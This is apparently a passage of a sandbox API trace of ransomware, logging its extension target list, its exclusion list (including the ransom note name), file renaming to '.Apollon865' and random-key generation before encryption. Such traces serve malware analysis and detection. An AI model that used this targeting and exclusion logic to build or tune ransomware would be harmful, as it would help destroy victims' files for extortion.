	[0061.178] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.178] lstrlenW (lpString="rpd") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.178] lstrlenW (lpString="rsd") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.178] lstrlenW (lpString="sas7bdat") returned 8
	[0061.178] lstrcmpiW (lpString1="onth.wpl", lpString2="sas7bdat") returned -1
	[0061.178] lstrlenW (lpString="sbf") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.179] lstrlenW (lpString="scx") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.179] lstrlenW (lpString="sdb") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.179] lstrlenW (lpString="sdc") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.179] lstrlenW (lpString="sdf") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.179] lstrlenW (lpString="sis") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.179] lstrlenW (lpString="spq") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.179] lstrlenW (lpString="te") returned 2
	[0061.179] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.179] lstrlenW (lpString="teacher") returned 7
	[0061.179] lstrcmpiW (lpString1="nth.wpl", lpString2="teacher") returned -1
	[0061.179] lstrlenW (lpString="tmd") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.179] lstrlenW (lpString="tps") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.179] lstrlenW (lpString="trc") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.179] lstrlenW (lpString="trc") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.179] lstrlenW (lpString="trm") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.179] lstrlenW (lpString="udb") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.179] lstrlenW (lpString="udl") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.179] lstrlenW (lpString="usr") returned 3
	[0061.179] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.180] lstrlenW (lpString="v12") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.180] lstrlenW (lpString="vis") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.180] lstrlenW (lpString="vpd") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.180] lstrlenW (lpString="vvv") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.180] lstrlenW (lpString="wdb") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.180] lstrlenW (lpString="wmdb") returned 4
	[0061.180] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.180] lstrlenW (lpString="wrk") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.180] lstrlenW (lpString="xdb") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.180] lstrlenW (lpString="xld") returned 3
	[0061.180] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.180] lstrlenW (lpString="xmlff") returned 5
	[0061.180] lstrcmpiW (lpString1="h.wpl", lpString2="xmlff") returned -1
	[0061.180] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.Apollon865") returned 132
	[0061.180] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.205] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.219] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1284) returned 1
	[0061.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0061.220] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.225] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.225] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.225] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x810, lpName=0x0) returned 0xc0
	[0061.230] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x810) returned 0x100000
	[0061.237] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.250] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.250] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.252] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0061.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.263] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0061.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.264] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.268] CloseHandle (hObject=0xc0) returned 1
	[0061.270] CloseHandle (hObject=0x14c) returned 1
	[0061.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.272] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".") returned 1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="..") returned 1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="windows") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="bootmgr") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="temp") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="pagefile.sys") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="boot") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="ids.txt") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="ntuser.dat") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="perflogs") returned -1
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="MSBuild") returned -1
	[0061.272] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0061.272] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 121
	[0061.272] lstrcpyW (in: lpString1=0x119e6b0, lpString2="05_Pictures_taken_in_the_last_month.wpl" | out: lpString1="05_Pictures_taken_in_the_last_month.wpl") returned="05_Pictures_taken_in_the_last_month.wpl"
	[0061.272] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0061.272] lstrlenW (lpString="Apollon865") returned 10
	[0061.272] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0061.272] lstrlenW (lpString=".dll") returned 4
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0061.272] lstrlenW (lpString=".lnk") returned 4
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0061.272] lstrlenW (lpString=".ini") returned 4
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0061.272] lstrlenW (lpString=".sys") returned 4
	[0061.272] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0061.272] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0061.272] lstrlenW (lpString="bak") returned 3
	[0061.272] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.272] lstrlenW (lpString="ba_") returned 3
	[0061.272] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.273] lstrlenW (lpString="dbb") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.273] lstrlenW (lpString="vmdk") returned 4
	[0061.273] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.273] lstrlenW (lpString="rar") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.273] lstrlenW (lpString="zip") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.273] lstrlenW (lpString="tgz") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.273] lstrlenW (lpString="vbox") returned 4
	[0061.273] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.273] lstrlenW (lpString="vdi") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.273] lstrlenW (lpString="vhd") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.273] lstrlenW (lpString="vhdx") returned 4
	[0061.273] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.273] lstrlenW (lpString="avhd") returned 4
	[0061.273] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.273] lstrlenW (lpString="db") returned 2
	[0061.273] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.273] lstrlenW (lpString="db2") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.273] lstrlenW (lpString="db3") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.273] lstrlenW (lpString="dbf") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.273] lstrlenW (lpString="mdf") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.273] lstrlenW (lpString="mdb") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.273] lstrlenW (lpString="sql") returned 3
	[0061.273] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.274] lstrlenW (lpString="sqlite") returned 6
	[0061.274] lstrcmpiW (lpString1="th.wpl", lpString2="sqlite") returned 1
	[0061.274] lstrlenW (lpString="sqlite3") returned 7
	[0061.274] lstrcmpiW (lpString1="nth.wpl", lpString2="sqlite3") returned -1
	[0061.274] lstrlenW (lpString="sqlitedb") returned 8
	[0061.274] lstrcmpiW (lpString1="onth.wpl", lpString2="sqlitedb") returned -1
	[0061.274] lstrlenW (lpString="xml") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.274] lstrlenW (lpString="$er") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.274] lstrlenW (lpString="4dd") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.274] lstrlenW (lpString="4dl") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.274] lstrlenW (lpString="^^^") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.274] lstrlenW (lpString="abs") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.274] lstrlenW (lpString="abx") returned 3
	[0061.274] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.274] lstrlenW (lpString="accdb") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accdb") returned 1
	[0061.274] lstrlenW (lpString="accdc") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accdc") returned 1
	[0061.274] lstrlenW (lpString="accde") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accde") returned 1
	[0061.274] lstrlenW (lpString="accdr") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accdr") returned 1
	[0061.274] lstrlenW (lpString="accdt") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accdt") returned 1
	[0061.274] lstrlenW (lpString="accdw") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accdw") returned 1
	[0061.274] lstrlenW (lpString="accft") returned 5
	[0061.274] lstrcmpiW (lpString1="h.wpl", lpString2="accft") returned 1
	[0061.275] lstrlenW (lpString="adb") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.275] lstrlenW (lpString="adb") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.275] lstrlenW (lpString="ade") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.275] lstrlenW (lpString="adf") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.275] lstrlenW (lpString="adn") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.275] lstrlenW (lpString="adp") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.275] lstrlenW (lpString="alf") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.275] lstrlenW (lpString="ask") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.275] lstrlenW (lpString="btr") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.275] lstrlenW (lpString="cat") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.275] lstrlenW (lpString="cdb") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.275] lstrlenW (lpString="ckp") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.275] lstrlenW (lpString="cma") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.275] lstrlenW (lpString="cpd") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.275] lstrlenW (lpString="dacpac") returned 6
	[0061.275] lstrcmpiW (lpString1="th.wpl", lpString2="dacpac") returned 1
	[0061.275] lstrlenW (lpString="dad") returned 3
	[0061.275] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.275] lstrlenW (lpString="dadiagrams") returned 10
	[0061.275] lstrcmpiW (lpString1="_month.wpl", lpString2="dadiagrams") returned -1
	[0061.276] lstrlenW (lpString="daschema") returned 8
	[0061.276] lstrcmpiW (lpString1="onth.wpl", lpString2="daschema") returned 1
	[0061.276] lstrlenW (lpString="db-journal") returned 10
	[0061.276] lstrcmpiW (lpString1="_month.wpl", lpString2="db-journal") returned -1
	[0061.276] lstrlenW (lpString="db-shm") returned 6
	[0061.276] lstrcmpiW (lpString1="th.wpl", lpString2="db-shm") returned 1
	[0061.276] lstrlenW (lpString="db-wal") returned 6
	[0061.276] lstrcmpiW (lpString1="th.wpl", lpString2="db-wal") returned 1
	[0061.276] lstrlenW (lpString="dbc") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.276] lstrlenW (lpString="dbs") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.276] lstrlenW (lpString="dbt") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.276] lstrlenW (lpString="dbv") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.276] lstrlenW (lpString="dbx") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.276] lstrlenW (lpString="dcb") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.276] lstrlenW (lpString="dct") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.276] lstrlenW (lpString="dcx") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.276] lstrlenW (lpString="ddl") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.276] lstrlenW (lpString="dlis") returned 4
	[0061.276] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.276] lstrlenW (lpString="dp1") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.276] lstrlenW (lpString="dqy") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.276] lstrlenW (lpString="dsk") returned 3
	[0061.276] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.277] lstrlenW (lpString="dsn") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.277] lstrlenW (lpString="dtsx") returned 4
	[0061.277] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.277] lstrlenW (lpString="dxl") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.277] lstrlenW (lpString="eco") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.277] lstrlenW (lpString="ecx") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.277] lstrlenW (lpString="edb") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.277] lstrlenW (lpString="epim") returned 4
	[0061.277] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.277] lstrlenW (lpString="fcd") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.277] lstrlenW (lpString="fdb") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.277] lstrlenW (lpString="fic") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.277] lstrlenW (lpString="flexolibrary") returned 12
	[0061.277] lstrcmpiW (lpString1="st_month.wpl", lpString2="flexolibrary") returned 1
	[0061.277] lstrlenW (lpString="fm5") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.277] lstrlenW (lpString="fmp") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.277] lstrlenW (lpString="fmp12") returned 5
	[0061.277] lstrcmpiW (lpString1="h.wpl", lpString2="fmp12") returned 1
	[0061.277] lstrlenW (lpString="fmpsl") returned 5
	[0061.277] lstrcmpiW (lpString1="h.wpl", lpString2="fmpsl") returned 1
	[0061.277] lstrlenW (lpString="fol") returned 3
	[0061.277] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.277] lstrlenW (lpString="fp3") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.278] lstrlenW (lpString="fp4") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.278] lstrlenW (lpString="fp5") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.278] lstrlenW (lpString="fp7") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.278] lstrlenW (lpString="fpt") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.278] lstrlenW (lpString="frm") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.278] lstrlenW (lpString="gdb") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.278] lstrlenW (lpString="gdb") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.278] lstrlenW (lpString="grdb") returned 4
	[0061.278] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.278] lstrlenW (lpString="gwi") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.278] lstrlenW (lpString="hdb") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.278] lstrlenW (lpString="his") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.278] lstrlenW (lpString="ib") returned 2
	[0061.278] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.278] lstrlenW (lpString="idb") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.278] lstrlenW (lpString="ihx") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.278] lstrlenW (lpString="itdb") returned 4
	[0061.278] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.278] lstrlenW (lpString="itw") returned 3
	[0061.278] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.279] lstrlenW (lpString="jet") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.279] lstrlenW (lpString="jtx") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.279] lstrlenW (lpString="kdb") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.279] lstrlenW (lpString="kexi") returned 4
	[0061.279] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.279] lstrlenW (lpString="kexic") returned 5
	[0061.279] lstrcmpiW (lpString1="h.wpl", lpString2="kexic") returned -1
	[0061.279] lstrlenW (lpString="kexis") returned 5
	[0061.279] lstrcmpiW (lpString1="h.wpl", lpString2="kexis") returned -1
	[0061.279] lstrlenW (lpString="lgc") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.279] lstrlenW (lpString="lwx") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.279] lstrlenW (lpString="maf") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.279] lstrlenW (lpString="maq") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.279] lstrlenW (lpString="mar") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.279] lstrlenW (lpString="marshal") returned 7
	[0061.279] lstrcmpiW (lpString1="nth.wpl", lpString2="marshal") returned 1
	[0061.279] lstrlenW (lpString="mas") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.279] lstrlenW (lpString="mav") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.279] lstrlenW (lpString="maw") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.279] lstrlenW (lpString="mdbhtml") returned 7
	[0061.279] lstrcmpiW (lpString1="nth.wpl", lpString2="mdbhtml") returned 1
	[0061.279] lstrlenW (lpString="mdn") returned 3
	[0061.279] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.280] lstrlenW (lpString="mdt") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.280] lstrlenW (lpString="mfd") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.280] lstrlenW (lpString="mpd") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.280] lstrlenW (lpString="mrg") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.280] lstrlenW (lpString="mud") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.280] lstrlenW (lpString="mwb") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.280] lstrlenW (lpString="myd") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.280] lstrlenW (lpString="ndf") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.280] lstrlenW (lpString="nnt") returned 3
	[0061.280] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.280] lstrlenW (lpString="nrmlib") returned 6
	[0061.280] lstrcmpiW (lpString1="th.wpl", lpString2="nrmlib") returned 1
